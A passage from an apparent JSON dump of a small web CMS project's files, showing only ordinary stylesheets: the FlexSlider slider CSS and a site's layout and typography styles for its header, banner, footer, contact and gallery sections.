no-repeat;*/\n}\n#Choco_container_description{\n\tpadding:0;\n\theight:26px;\n\twidth:100%;\n\tcolor:#FFFFFF;\n\tfont-family:Tahoma;\n\tclear:both;\n\tposition:relative;\n\tfont-size:12px;\n\tmargin-top:-5px;\n\toverflow:hidden;\n\tvisibility:hidden;\n}\n#Choco_container_title{\n\tfloat:left;\n\tpadding:5px;\n}\n#Choco_container_via{\n\tpadding:5px;\n\tfloat:right;\n}\n#Choco_container_via a{\n\tcolor:gray;\n}\n#Choco_container_via a:hover{\n\tcolor:white;\n\tbackground:gray;\n}\n#Choco_close{\n\twidth:30px;\n\theight:25px;\n\tbackground-image:url(../images/close.png)!important;\n\tbackground-repeat:no-repeat;\n\tz-index:1002;\n\tcursor:pointer;\n\tmargin: 0px 0px 15px 0px;\n\tdisplay:none;\n}\n#Choco_loading{\n\twidth:9px;\n\theight:11px;\n\tbackground-image:url(../images/loading.gif);\n\tbackground-repeat:no-repeat;\n\tz-index:1002;\n\tcursor:pointer;\n\tfloat:right;\n\tmargin-top:-20px;\n\tdisplay:none;\n}\n#Choco_bigImage{\n\tdisplay:none;\n\tposition:relative;\n\twidth:100%;\n\theight:100%;\n\tmargin-top:-5px;\n}\n"
  },
  {
    "path": "web_simplecms/simplecms/css/flexslider.css",
    "content": "/*\n * jQuery FlexSlider v2.0\n * http://www.woothemes.com/flexslider/\n *\n * Copyright 2012 WooThemes\n * Free to use under the GPLv2 license.\n * http://www.gnu.org/licenses/gpl-2.0.html\n *\n * Contributing author: Tyler Smith (@mbmufffin)\n */\n/* Browser Resets */\n.flex-container a:active,\n.flexslider a:active,\n.flex-container a:focus,\n.flexslider a:focus  {outline: none;}\n.slides,\n.flex-control-nav,\n.flex-direction-nav {margin: 0; padding: 0; list-style: none;} \n\n/* FlexSlider Necessary Styles\n*********************************/ \n.flexslider .slides > li {display: none; -webkit-backface-visibility: hidden;} /* Hide the slides before the JS is loaded. Avoids image jumping */\n.flexslider .slides img {width: 100%; display: block;}\n.flex-pauseplay span {text-transform: capitalize;}\n\n/* Clearfix for the .slides element */\n.slides:after {content: \".\"; display: block; clear: both; visibility: hidden; line-height: 0; height: 0;} \nhtml[xmlns] .slides {display: block;} \n* html .slides {height: 1%;}\n\n/* No JavaScript Fallback */\n/* If you are not using another script, such as Modernizr, make sure you\n * include js that eliminates this class on page load */\n.no-js .slides > li:first-child {display: block;}\n\n\n/* FlexSlider Default Theme\n*********************************/\n.flexslider {\n\tborder: 0px;\n\tposition: relative;\n\tzoom: 1;\n}\n.flex-viewport {max-height: 2000px; -webkit-transition: all 1s ease; -moz-transition: all 1s ease; transition: all 1s ease;}\n.loading .flex-viewport {max-height: 300px;}\n.flexslider .slides {zoom: 1;}\n\n.carousel li {margin-right: 5px}\n\n\n/* Direction Nav */\n.flex-direction-nav {*height: 0;}\n.flex-direction-nav a {width: 30px; height: 40px; margin: -20px 0 0; display: block; position: absolute; top: 55%; z-index: 10; cursor: pointer; text-indent: -9999px; opacity: 0; -webkit-transition: all .3s ease;}\n.flex-direction-nav .flex-next { left: -36px;}\n.flex-direction-nav .flex-prev {left: -36px;}\n.flexslider:hover .flex-next {opacity: 0.8; right: 5px;}\n.flexslider:hover .flex-prev {opacity: 0.8; left: 5px;}\n.flexslider:hover .flex-next:hover, .flexslider:hover .flex-prev:hover {opacity: 1;}\n.flex-direction-nav .flex-disabled {opacity: .3!important; filter:alpha(opacity=30); cursor: default;}\n/* Control Nav */\n.flex-control-nav {\n\tposition: absolute;\n    left: 47.3%;\n    margin-left: 0px;\n    top: 122%;\n\tdisplay: none;\n}\n.flex-control-nav li {margin: 0 6px; display: inline-block; zoom: 1; *display: inline;}\n.flex-control-paging li a {\n\twidth: 10px;\n    height: 10px;\n    display: block;\n    background: #45AED6;\n    cursor: pointer;\n    text-indent: -9999px;\n    border-radius: 10px;\n}\n.flex-control-paging li a.flex-active { background:#F26F62; cursor: default;}\n.flex-control-thumbs {margin: 5px 0 0; position: static; overflow: hidden;}\n.flex-control-thumbs li {width: 25%; float: left; margin: 0;}\n.flex-control-thumbs img {width: 100%; display: block; opacity: .7; cursor: pointer;}\n.flex-control-thumbs img:hover {opacity: 1;}\n.flex-control-thumbs .flex-active {opacity: 1; cursor: default;}\n\n@media screen and (max-width: 768px) {\n\t.flex-control-nav {\n\t\ttop: 110%;\n\t}\n}\n@media screen and (max-width: 640px) {\n}\n@media screen and (max-width: 480px) {\n\tsection.slider {\n\t\tpadding-top: 0%;\n\t}\n\t.flexslider {\n\t\tpadding: 0px 0px;\n\t\t}\n\t.flex-control-paging li a {\n\t  width: 10px;\n\t  height: 10px;\n\t}\n\t.flex-control-nav {\n\t\ttop: 113%;\n\t\tleft: 43.3%;\n\t}\n}\n@media screen and (max-width: 320px) {\n\tsection.slider {\n\t\tpadding-top: 0%;\n\t}\t\n\t.flex-direction-nav a {\n\t\ttop: 63%;\n\t}\n\t.flex-control-nav {\n\t\ttop: 105%;\n\t\tleft: 37.3%;\n\t}\n}"
  },
  {
    "path": "web_simplecms/simplecms/css/style.css",
    "content": "html, body{\n    font-size: 100%;\n\tbackground:#ffffff;\n\tfont-family: 'Open Sans', sans-serif;\n}\nh1,h2,h3,h4,h5,h6,a{\n\tmargin:0;\t\n\tfont-family: 'Josefin Sans', sans-serif;\n}\t\np{\n\tmargin:0;\n}\nul,label{\n\tmargin:0;\n\tpadding:0;\n}\nbody a:hover{\n\ttext-decoration:none;\n}\n/*-- header --*/\n.header {\n    padding: 1em 0;\n}\n.search{\n\tfloat:left;\n\twidth: 20%;\n    margin-left: 4em;\n\tmargin-top: -1em;\n}\n.search i{\n\tfont-size: 1em;\n    color: #D3D0D0;\n    left: 17.8em;\n    top: 2.3em;\n}\n.search input[type=\"text\"]{\n\toutline:none;\n\tborder:1px solid #ECECEC;\n\tfont-size:14px;\n\tcolor:#999;\n\twidth:100%;\n\tpadding:12px 45px 12px 10px;\n\tbackground:none;\n}\n.logo{\n\tfloat:left;\n\tmargin-left:20em;\n}\n.logo a{\n\tfont-size:2em;\n\ttext-transform:uppercase;\n\ttext-decoration:none;\n\tcolor: #252222;\n    letter-spacing: 10px;\n\tfont-weight: 600;\n}\n.logo a span{\n\tdisplay: block;\n    font-size: 14px;\n    letter-spacing: 7px;\n    line-height: 0;\n    text-align: center;\n    color: #999;\n}\n.logo-right{\n\tfloat:right;\n\tmargin-right:4em;\n}\n.logo-right ul {\n    padding: 1.3em 0 0;\n}\n.logo-right ul li{\n\tdisplay:inline-block;\n\tcolor:#999;\n\tfont-size:14px;\n\tmargin: 0 1em;\n}\n.logo-right ul li a{\n\tcolor:#999;\n\ttext-decoration:none;\n}\n.logo-right ul li a:hover{\n\tcolor:#66D5DE;\n}\n.header-nav {\n    background-color: #F8F8F8;\n}\n.navbar-default {\n    background: none;\n    border: none;\n}\n.navbar-default .navbar-nav > .active > a, .navbar-default .navbar-nav > .active > a:hover, .navbar-default .navbar-nav > .active > a:focus {\n    color: #555;\n    background: none;\n}\n.navbar-default .navbar-nav > li > a {\n    color: #B7B6B6;\n}\n.navbar-nav {\n    float: none;\n\tmargin-left: 5em;\n}\n.navbar {\n    margin-bottom: 0;\n}\n.nav > li > a {\n    padding: 20px 40px;\n}\n/*-- effect for nav --*/\n.cl-effect-1 a::before,\n.cl-effect-1 a::after {\n\tdisplay: inline-block;\n\topacity: 0;\n\t-webkit-transition: -webkit-transform 0.3s, opacity 0.2s;\n\t-moz-transition: -moz-transform 0.3s, opacity 0.2s;\n\ttransition: transform 0.3s, opacity 0.2s;\n}\n\n.cl-effect-1 a::before {\n\tmargin-right: 10px;\n\tcontent: '[';\n\t-webkit-transform: translateX(20px);\n\t-moz-transform: translateX(20px);\n\ttransform: translateX(20px);\n}\n\n.cl-effect-1 a::after {\n\tmargin-left: 10px;\n\tcontent: ']';\n\t-webkit-transform: translateX(-20px);\n\t-moz-transform: translateX(-20px);\n\ttransform: translateX(-20px);\n}\n\n.cl-effect-1 a:hover::before,\n.cl-effect-1 a:hover::after,\n.cl-effect-1 a:focus::before,\n.cl-effect-1 a:focus::after,.cl-effect-1 ul li.active a{\n\topacity: 1;\n\t-webkit-transform: translateX(0px);\n\t-moz-transform: translateX(0px);\n\ttransform: translateX(0px);\n}\n/*-- //effect for nav --*/\n/*-- //header --*/\n/*-- banner --*/\n.banner{\n\tbackground:url(../images/banner1.jpg) no-repeat 0px 0px;\n\tbackground-size:cover;\n\t-webkit-background-size:cover;\n\t-moz-background-size:cover;\n\t-ms-background-size:cover;\n\t-o-background-size:cover;\n\tmin-height:800px;\n}\n.banner1{\n\tbackground:url(../images/banner1.jpg) no-repeat 0px 0px;\n\tbackground-size:cover;\n\t-webkit-background-size:cover;\n\t-moz-background-size:cover;\n\t-ms-background-size:cover;\n\t-o-background-size:cover;\n\tmin-height:300px;\n}\n.banner-info h1{\n\tfont-size:2em;\n\ttext-transform:capitalize;\n\tmargin:0;\n\tcolor:#fff;\n}\n.banner-info p{\n\tfont-size:14px;\n\tcolor:#fff;\n\tmargin:1em 0 2em;\n\tline-height:1.8em;\n}\n.more a{\n\tpadding:8px 30px;\n\tbackground:#fff;\n\tfont-size:15px;\n\tcolor:#000;\n\ttext-decoration:none;\n\ttransition:.5s all;\n\t-webkit-transition:.5s all;\n\t-moz-transition:.5s all;\n\t-o-transition:.5s all;\n\t-ms-transition:.5s all;\n}\n.more a:hover{\n\tcolor:#66D5DE;\n}\n.banner-info {\n    width: 50%;\n    margin:20em 0 1em 0em;\n\ttext-align: right;\n}\n/*-- //banner --*/\n/*-- banner-bottom --*/\n.banner-bottom,.features,.typo,.contact-grids,.gallery,.services,.about,.events,.history,.single{\n\tpadding:5em 0;\n}\n.banner-bottom h3,.features-grid-left h3,.features-grid-right h3,h3.title,.gallery h3,.history h3,.single h3,.events h3,.services h3,.about-grid h3{\n\tfont-size:2em;\n\tcolor:#f9d780;\n\tmargin:0;\n\ttext-align:center;\n\tfont-weight:600;\n\ttext-transform:capitalize;\n}\n.banner-bottom-grids:nth-child(2){\n\tmargin:3em 0;\n}\n.banner-bottom-grid-left{\n\ttext-align:right;\n}\n.banner-bottom-grid-left h4{\n\ttext-transform:capitalize;\n\tfont-size:1.5em;\n\tcolor:#66D5DE;\n\tmargin:0;\n}\n.banner-bottom-grid-left ul{\n\tpadding:1em 0;\n}\n.banner-bottom-grid-left ul li{\n\tlist-style-type:none;\n\tmargin:0 0 .5em;\n\tcolor:#999;\n\tfont-size:14px;\n}\n.banner-bottom-grid-left ul li a{\n\tcolor:#66D5DE;\n\tfont-family: 'Open Sans', sans-serif;\n}\n.banner-bottom-grid-left ul li a span{\n\tcolor:#F9D780;\n\tleft:0em;\n\tpadding-left: 1em;\n}\n.banner-bottom-grid-left p{\n\tfont-size:14px;\n\tcolor:#999;\n\tmargin:0 0 2em;\n\tline-height:1.8em;\n}\n.m1 a{\n\tbackground:#66D5DE;\n\tcolor:#fff;\n}\n.m1 a:hover{\n\tbackground:#f9d780;\n\tcolor:#fff;\n}\n.banner-bottom-grid-l{\n\ttext-align:left;\n}\n.banner-bottom-grid-l ul li span {\n    padding-right: 1em;\n}\n.banner-bottom-grid-l ul li a span {\n    padding-left: 0em;\n}\n/*-- //banner-bottom --*/\n/*-- welcome-bottom --*/\n.welcome-bottom{\n\tbackground:url(../images/5.jpg) no-repeat 0px 0px;\n\tbackground-size:cover;\n\t-webkit-background-size:cover;\n\t-moz-background-size:cover;\n\t-o-background-size:cover;\n\t-ms-background-size:cover;\n\tmin-height:400px;\n}\n.welcome-bottom-grid-l{\n\tfloat:left;\n\tmargin: 3em 0 0;\n}\n.welcome-bottom-grid-left{\n\tfloat:left;\n\tmargin-left:3em;\n\ttext-align:right;\n\twidth: 50%;\n}\n.welcome-bottom-grid-left h3{\n\ttext-transform:capitalize;\n\tfont-size:1.5em;\n\tmargin:0;\n\tcolor:#fff;\n}\n.welcome-bottom-grid-left p{\n\tmargin:1em 0 0;\n\tline-height:1.8em;\n\tcolor:#fff;\n\tfont-size:14px;\n}\n.welcome-bottom-grids {\n    margin: 8em 0 0;\n}\n/*-- //welcome-bottom --*/\n/*-- features --*/\n.features-grids1{\n\tmargin:3em 0 0;\n}\n.features-grids1 h2{\n\ttext-transform:capitalize;\n\tfont-size:1.5em;\n\tcolor:#66D5DE;\n\tmargin:0;\n}\n.features-grids1 p{\n\tcolor:#999;\n\tfont-size:14px;\n\tline-height:1.8em;\n\tmargin:1em 0 2em;\n}\n.features-grids,.features-grid-left h3,.features-grid-right h3{\n    text-align: right !important;\n}\n.features-grids1-left ul{\n\tpadding:0 0 2em;\n}\n.features-grids1-left ul li{\n\tbackground: url(../images/1.png) no-repeat 224px 9px;\n    display: block;\n    list-style-type: none;\n    margin: 0 0 1em;\n    padding-right: 2.5em;\n}\n.features-grids1-left ul li a{\n\tfont-size:1.2em;\n\tcolor:#999;\n\ttext-decoration:none;\n\ttext-transform:capitalize;\n}\n.copyrights{\n\ttext-indent:-9999px;\n\theight:0;\n\tline-height:0;\n\tfont-size:0;\n\toverflow:hidden;\n}\n.features-grids1-left ul li a:hover{\n\tcolor:#66D5DE;\n}\n.test1{\n\tmargin:3em 0 0;\n}\n.test11{\n\tmargin:2em 0 0;\n}\n.test1-left img{\n\tmargin:0 auto;\n}\n.test1-right p{\n\tfont-size:14px;\n\tcolor:#999;\n\tmargin:1em 0 0;\n\tline-height:1.8em;\n\tposition:relative;\n\tpadding-left:2em;\n}\n.test1-right p:before{\n\tbackground:url(../images/5.png) no-repeat 0px 0px;\n\tdisplay:block;\n\twidth:20px;\n\theight:20px;\n\tposition:absolute;\n\ttop:0%;\n\tleft:0%;\n\tcontent:'';\n}\n.test1-right p span{\n\tdisplay:block;\n\tmargin:1em 0 0;\n\tcolor:#f9d780;\n}\n/*-- //features --*/\n/*--footer--*/\n.footer {\n  padding: 5em 0 4em;\n  background-color: rgb(51, 51, 51);\n}\n.footer h4 {\n    margin:0 0 .5em;\n}\n.footer h3 {\n    color: #fff;\n    font-size: 1.7em;\n    margin:0.4em 0 .5em;\n}\n.footer-grids ul li {\n  margin-bottom: 1em;\n}\n.footer-grids ul li a {\n  color: #868686;\n  font-size:14px;\n  text-decoration: none;\n  font-family: 'Open Sans', sans-serif;\n}\n.footer-grids ul li a:hover {\n  color: #fff;\n}\n.footer-grids h4 a {\n    color:#f9d780;\n    font-size:2.3em;\n    text-decoration: none;\n}\n.footer-grids p  a{\n\tcolor: #868686;\n    font-size: 14px;\n    text-decoration: none;\n}\n.footer-grids p a:hover {\n\tcolor: #fff;\n}\n.footer-grids p {\n\t color: #868686;\n\t font-size:14px;\n\t line-height: 1.8em;\n\t margin:0;\n}\n.footer-grids form {\n  margin-top: 1.2em;\n}\n.footer-grids form input[type=\"text\"] {\n  width: 72%;\n  padding: 9px 12px;\n  font-size: 0.9em;\n  float: left;\n  color: #8D8D8D;\n  outline: none;\n  border: none;\n  background: #fff;\n  -webkit-appearance: none;\n}\n.footer-grids form input[type=\"submit\"] {\n\twidth: 24%;\n    font-size: 14px;\n    float: left;\n    color: #fff;\n    outline: none;\n    padding: 9px 9px;\n    border: none;\n    background:#66D5DE;\n    transition: 0.5s all;\n    -webkit-transition: 0.5s all;\n    -moz-transition: 0.5s all;\n    -o-transition: 0.5s all;\n    -ms-transition: 0.5s all;\n    -webkit-appearance: none;\n}\n.footer-grids form input[type=\"submit\"]:hover{\n\tbackground:#999;\n}\n.footer-bottom {\n\tbackground-color: #201F1F;\n\tpadding: 2em 0;\n\ttext-align: center;\n}\n.footer-bottom p {\n\tcolor: #868686;\n\tmargin:0;\n\tfont-size: 14px;\n}\n.footer-bottom p a{\n\tcolor: #66D5DE;\n\tborder-bottom:1px solid #66D5DE;\n\tfont-family: 'Open Sans', sans-serif;\n}\n.footer-bottom p a:hover{\n\tcolor: #fff;\n\tborder-bottom:1px solid #fff;\n}\n.social-icons{\n\tpadding:2em 0 0;\n}\n.social-icons li{\n\tdisplay:inline-block;\n}\n.social-icons li a.p{\n\tbackground: url(../images/img-sp.png) no-repeat -7px -9px;\n    display: block;\n    height: 41px;\n    width: 41px;\n}\n.social-icons li a.p:hover{\n\tbackground: url(../images/img-sp.png) no-repeat -71px -9px;\n    display: block;\n}\n.social-icons li a.in{\n\tbackground: url(../images/img-sp.png) no-repeat -7px -58px;\n    display: block;\n    height: 41px;\n    width: 41px;\n}\n.social-icons li a.in:hover{\n\tbackground: url(../images/img-sp.png) no-repeat -72px -58px;\n    display: block;\n}\n.social-icons li a.v{\n\tbackground: url(../images/img-sp.png) no-repeat -7px -109px;\n    display: block;\n    height: 41px;\n    width: 41px;\n}\n.social-icons li a.v:hover{\n\tbackground: url(../images/img-sp.png) no-repeat -72px -109px;\n    display: block;\n}\n.social-icons li a.facebook{\n\tbackground: url(../images/img-sp.png) no-repeat -7px -159px;\n    display: block;\n    height: 41px;\n    width: 41px;\n}\n.social-icons li a.facebook:hover{\n\tbackground: url(../images/img-sp.png) no-repeat -72px -159px;\n    display: block;\n}\n.breadco{\n\tmargin:0 0 3em;\n}\n/*--//footer--*/\n/*--Typography--*/\n.show-grid [class^=col-] {\n    background: #fff;\n  text-align: center;\n  margin-bottom: 10px;\n  line-height: 2em;\n  border: 10px solid #f0f0f0;\n}\n.show-grid [class*=\"col-\"]:hover {\n  background: #e0e0e0;\n}\n.grid_3{\n\tmargin-bottom:2em;\n}\n.xs h3, h3.m_1{\n\tcolor:#000;\n\tfont-size:1.7em;\n\tfont-weight:300;\n\tmargin-bottom: 1em;\n}\n.grid_3 p{\n  color: #999;\n  font-size: 0.85em;\n  margin-bottom: 1em;\n  font-weight: 300;\n}\n.grid_4{\n\tbackground:none;\n\tmargin-top:50px;\n}\n.label {\n  font-weight: 300 !important;\n  border-radius:4px;\n}  \n.grid_5{\n\tbackground:none;\n\tpadding:2em 0;\n}\n.grid_5 h3, .grid_5 h2, .grid_5 h1, .grid_5 h4, .grid_5 h5, h3.hdg, h3.bars {\n\tmargin-bottom: 1em;\n    color:#D5D5D5;\n}\n.table > thead > tr > th, .table > tbody > tr > th, .table > tfoot > tr > th, .table > thead > tr > td, .table > tbody > tr > td, .table > tfoot > tr > td {\n  border-top: none !important;\n}\n.tab-content > .active {\n  display: block;\n  visibility: visible;\n}\n.pagination > .active > a, .pagination > .active > span, .pagination > .active > a:hover, .pagination > .active > span:hover, .pagination > .active > a:focus, .pagination > .active > span:focus {\n  z-index: 0;\n}\n.badge-primary {\n  background-color: #03a9f4;\n}\n.badge-success {\n  background-color: #8bc34a;\n}\n.badge-warning {\n  background-color: #ffc107;\n}\n.badge-danger {\n  background-color: #e51c23;\n}\n.grid_3 p{\n  line-height: 2em;\n  color: #888;\n  font-size: 0.9em;\n  margin-bottom: 1em;\n  font-weight: 300;\n}\n.bs-docs-example {\n  margin: 1em 0;\n}\nsection#tables  p {\n margin-top: 1em;\n}\n.tab-container .tab-content {\n  border-radius: 0 2px 2px 2px;\n  border: 1px solid #e0e0e0;\n  padding: 16px;\n  background-color: #ffffff;\n}\n.table td, .table>tbody>tr>td, .table>tbody>tr>th, .table>tfoot>tr>td, .table>tfoot>tr>th, .table>thead>tr>td, .table>thead>tr>th {\n  padding: 15px!important;\n}\n.table > thead > tr > th, .table > tbody > tr > th, .table > tfoot > tr > th, .table > thead > tr > td, .table > tbody > tr > td, .table > tfoot > tr > td {\n  font-size: 0.9em;\n  color: #999;\n  border-top: none !important;\n}\n.tab-content > .active {\n  display: block;\n  visibility: visible;\n}\n.label {\n  font-weight: 300 !important;\n}\n.label {\n  padding: 4px 6px;\n  border: none;\n  text-shadow: none;\n}\n.nav-tabs {\n  margin-bottom: 1em;\n}\n.alert {\n  font-size: 0.85em;\n}\nh1.t-button,h2.t-button,h3.t-button,h4.t-button,h5.t-button {\nline-height:1.8em;\n  margin-top:0.5em;\n  margin-bottom: 0.5em;\n}\nli.list-group-item1 {\n  line-height: 2.5em;\n}\n.input-group {\n  margin-bottom: 20px;\n  }\n.in-gp-tl{\npadding:0;\n}\n.in-gp-tb{\npadding-right:0;\n}\n.list-group {\n  margin-bottom: 48px;\n}\n ol {\n  margin-bottom: 44px;\n}\nh2.typoh2{\n    margin: 0 0 10px;\n}\n@media (max-width:768px){\n\t.grid_5 {\n\t\tpadding: 0 0 1em;\n\t}\n\t.grid_3 {\n\t\tmargin-bottom: 0em;\n\t}\n}\n@media (max-width:640px){\n\th1, .h1, h2, .h2, h3, .h3 {\n\t\tmargin-top: 0px;\n\t\tmargin-bottom: 0px;\n\t}\n\t.grid_5 h3, .grid_5 h2, .grid_5 h1, .grid_5 h4, .grid_5 h5, h3.hdg, h3.bars {\n\t\tmargin-bottom: .5em;\n\t}\n\t.progress {\n\t\theight: 10px;\n\t\tmargin-bottom: 10px;\n\t}\n\tol.breadcrumb li,.grid_3 p,ul.list-group li,li.list-group-item1 {\n\t\tfont-size: 14px;\n\t}\n\t.breadcrumb {\n\t\tmargin-bottom: 10px;\n\t}\n\t.well {\n\t\tfont-size: 14px;\n\t\tmargin-bottom: 10px;\n\t}\n\th2.typoh2 {\n\t\tfont-size: 1.5em;\n\t}\n\t.label {\n\t\tfont-size: 60%;\n\t}\n}\n@media (max-width:480px){\n\t.banner {\n\t\tmin-height: 405px;\n\t}\n\t.table h1 {\n\t\tfont-size: 26px;\n\t}\n\t.table h2 {\n\t\tfont-size: 23px;\n\t}\n\t.table h3 {\n\t\tfont-size: 20px;\n\t}\n\t.label {\n\t\tfont-size: 53%;\n\t}\n\t.alert,p {\n\t\tfont-size: 14px;\n\t}\n\t.pagination {\n\t\tmargin: 20px 0 0px;\n\t}\n}\n@media (max-width: 320px){\n\t.grid_4 {\n\t\tmargin-top: 18px;\n\t}\n\th3.title {\n\t\tfont-size: 1.6em;\n\t}\n\t.alert, p,ol.breadcrumb li, .grid_3 p,.well, ul.list-group li, li.list-group-item1,a.list-group-item {\n\t\tfont-size: 13px;\n\t}\n\t.alert {\n\t\tpadding: 10px;\n\t\tmargin-bottom: 10px;\n\t}\n\tul.pagination li a {\n\t\tfont-size: 14px;\n\t\tpadding: 5px 11px;\n\t}\n\t.list-group {\n\t\tmargin-bottom: 10px;\n\t}\n\t.well {\n\t\tpadding: 10px;\n\t}\n\t.nav > li > a {\n\t\tfont-size: 14px;\n\t}\n\ttable.table.table-striped,.table-bordered,.bs-docs-example {\n\t\tdisplay: none;\n\t}\n}\n/*--//Typography --*/\n/*-- contact --*/\n.map iframe{\n\twidth:100%;\n\tmin-height:500px;\n}\n.contact-grdl{\n\tpadding:0 !important;\n}\n.contact-grdl span{\n\tcolor:#66D5DE;\n\tfont-size:2em;\n}\n.contact-grdr ul li{\n\tlist-style-type:none;\n\tcolor:#999;\n\tfont-size:14px;\n\tmargin:0 0 1em;\n}\n.address{\n\tmargin:2em 0;\n}\n.contact-grdr ul li a{\n\tcolor:#66D5DE;\n\ttext-decoration:none;\n\tdisplay:block;\n\tmargin:0.6em 0 0;\n}\n.contact-grdr ul li a:hover{\n\tcolor:#999;\n}\n.contact-grid input[type=\"text\"],.contact-grid input[type=\"email\"],.contact-grid textarea{\n\toutline:none;\n\tborder:1px solid #E9E9E9;\n\twidth:100%;\n\tbackground:none;\n\tcolor:#999;\n\tfont-size:14px;\n\tpadding:12px 10px;\n}\n.contact-grid textarea{\n\tmin-height:123px;\n\tresize:none;\n\tmargin:0 0 .2em;\n}\n.contact-grid input[type=\"email\"]{\n\tmargin:.5em 0;\n}\n.contact-grid input[type=\"submit\"]{\n\toutline:none;\n\tborder:none;\n\twidth:100%;\n\tbackground:#66D5DE;\n\tcolor:#fff;\n\tfont-size:14px;\n\tpadding:12px 0px;\n\ttransition:.5s all;\n\t-webkit-transition:.5s all;\n\t-moz-transition:.5s all;\n\t-o-transition:.5s all;\n\t-ms-transition:.5s all;\n}\n.contact-grid input[type=\"submit\"]:hover{\n\tbackground:#999;\n}\n.newsletter{\n\tpadding:5.45em 2em 3em 0.5em;\n    text-align: center;\n\tborder:1px solid #E9E9E9;\n}\n.newsletter h3{\n\tfont-size:1.5em;\n\tcolor: #999;\n\tmargin:0;\n\ttext-align: center;\n}\n.newsletter h3 span{\n\tfont-size: 1.5em;\n    top: -1em;\n    left: 1.8em;\n    color:#F9D780;\n}\n/*-- //contact --*/\n/*-- gallery --*/\n.gallery-grids{\n\tmargin:3em 0 0;\n}\n.gallery-grid{\n\tfloat:left;\n\twidth:33.33%;\n}\n.gallery-grid img {\n    border: 1px solid #fff;\n}\n/*-- //gallery --*/\n/*-- services --*/\n.services-overview-grd{\n\twidth:100% !important;\n}\n.services-grd1 h4{\n\tfont-size: 1.4em;\n\tcolor:#66D5DE;\n\tmargin: 0 0 0.8em;\n}\n.services-grd:nth-child(4) {\n    margin: 3em 0;\n}\n.services-grd1-left span {\n    font-size: 2em;\n    color:#D1D1D1;\n}\n.services-grd1 p{\n\tcolor:#999;\n\tline-height:1.8em;\n\tmargin:0;\n\tfont-size:14px;\n}\n.services-overview{\n\tmargin:5em 0 0;\n}\n.services-grd:nth-child(2) {\n    margin: 3em 0;\n}\n.services-overview-gd{\n\tpadding:1.2em;\n\tbackground:#F8F8F8;\n}\n.services-overview-gd:hover{\n\tbackground:#eeeeee;\n}\n.services-overview-gd h4{\n\tline-height: 1.5em;\n\ttext-transform:capitalize;\n\tfont-size: 1.4em;\n\tcolor:#66D5DE;\n\tmargin: 0 0 0.5em;\n}\n.services-overview-gd p{\n\tcolor:#999;\n\tfont-size:14px;\n\tmargin:0;\n\tline-height: 1.8em;\n}\n.services-overview-grids:nth-child(2) {\n    margin: 3em 0;\n}\n.services-overview-gd:hover .social-icons li a.p{\n\tbackground: url(../images/img-sp.png) no-repeat -71px -9px;\n    display: block;\n\ttransition:.5s all;\n\t-webkit-transition:.5s all;\n\t-moz-transition:.5s all;\n\t-o-transition:.5s all;\n\t-ms-transition:.5s all;\n}\n.services-overview-gd:hover .social-icons li a.in{\n\tbackground: url(../images/img-sp.png) no-repeat -72px -58px;\n    display: block;\n\ttransition:.5s all;\n\t-webkit-transition:.5s all;\n\t-moz-transition:.5s all;\n\t-o-transition:.5s all;\n\t-ms-transition:.5s all;\n}\n.services-overview-gd:hover .social-icons li a.v{\n\tbackground: url(../images/img-sp.png) no-repeat -72px -109px;\n    display: block;\n\ttransition:.5s all;\n\t-webkit-transition:.5s all;\n\t-moz-transition:.5s all;\n\t-o-transition:.5s all;\n\t-ms-transition:.5s all;\n}\n.services-overview-gd:hover .social-icons li a.facebook{\n\tbackground: url(../images/img-sp.png) no-repeat -72px -159px;\n    display: block;\n\ttransition:.5s all;\n\t-webkit-transition:.5s all;\n\t-moz-transition:.5s all;\n\t-o-transition:.5s all;\n\t-ms-transition:.5s all;\n}\n/*-- //services --*/\n/*-- about --*/\n.about-grid h4{\n\ttext-transform: capitalize;\n    font-size: 1.5em;\n    color:#66D5DE;\n    margin: 0em 0 1em;\n}\n.about-grid p{\n\tcolor:#999;\n\tfont-size:14px;\n\tmargin:0;\n\tline-height:1.8em;\n}\n.about-gd-left{\n\tfloat:left;\n\twidth:25%;\n}\n.about-gd-right{\n\tfloat:right;\n\twidth:75%;\n}\n.about-gd:nth-child(3),.about-gd:nth-child(5){\n\tmargin:1em 0;\n}\n.about-gd:nth-child(2) {\n    margin: 3em 0 0;\n}\n.about-grid img {\n    margin: 3em 0 2em;\n}\n/*-- //about --*/\n/*-- events --*/\n.events-grids{\n\tmargin:3em 0 0;\n}\n.mnth-date-left h4{\n\tborder-right:1px solid #DEDEDE;\n\tfont-size:2em;\n\tcolor:#f9d780;\n\tmargin:0;\n\tpadding: .5em 0;\n}\n.mnth-date-left h4 span{\n\tdisplay:block;\n\tfont-size:.8em;\n}\n.mnth-date-right p{\n\tfont-size:14px;\n\tcolor:#66D5DE;\n\tmargin:1em 0 0;\n\tline-height:1.8em;\n}\np.quasi{\n\tmargin:2em 0 3em;\n\tcolor:#999;\n\tfont-size:14px;\n\tline-height:1.8em;\n}\n.mnth-date-left {\n    padding: 0;\n}\n.events {\n    background-color:#F8F8F8;\n}\n/*-- //events --*/\n/*-- history --*/\n.history-left-grid p{\n\tfont-size:1em;\n\tcolor:#CBCBCB;\n\tmargin:0;\n\tpadding-left: 1em;\n}\n.glyphicon-calendar {\n  left: -13px;\n}\n.history-left-grid h4,.history-right h4{\n\tcolor:#66D5DE;\n    font-size: 1.3em;\n    margin: 1em 0;\n    text-transform: capitalize;\n}\np.aut,.history-right p{\n\tcolor:#999;\n\tfont-size:14px;\n\tmargin:0;\n\tline-height:1.8em;\n\tpadding: 0;\n}\n.history-left-grid:nth-child(3){\n\tmargin:2em 0;\n}\n.history-right h4{\n\tmargin:3em 0 1em !important;\n}\n.history-right ul{\n\tpadding:2em 0 0;\n}\n.history-right ul li{\n\tlist-style-type:none;\n\tmargin: 0 0 15px;\n    background: url(../images/1.png) no-repeat 0px 7px;\n    display: block;\n    padding-left: 2em;\n}\n.history-right ul li a{\n\tfont-size:18px;\n\tcolor:#999;\n\ttext-decoration:none;\n\ttext-transform:capitalize;\n}\n.history-right ul li a:hover{\n\ttext-decoration:none;\n\tcolor: #66D5DE;\n}\n.history-left-grid:nth-child(2) {\n    margin: 3em 0 0;\n}\n/*-- //history --*/\n/*-- single --*/\n.artical-links{\n\tpadding: 10px 0px;\n\tborder:1px dashed rgba(0, 0, 0, 0.61);\n\tborder-left: none;\n\tmargin-top: 5px;\n\tborder-right: none;\n}\n.artical-links ul li{\n\tdisplay: inline-block;\n    font-size: 14px;\n    color: #999;\n\tmargin-right: 2em;\n}\n.artical-links ul li:last-child{\n\tfloat:right;\n}\n.artical-links ul li a{\n\tcolor: #999;\n\ttext-decoration: none;\n\tfont-family: 'Open Sans', sans-serif;\n}\n.artical-links 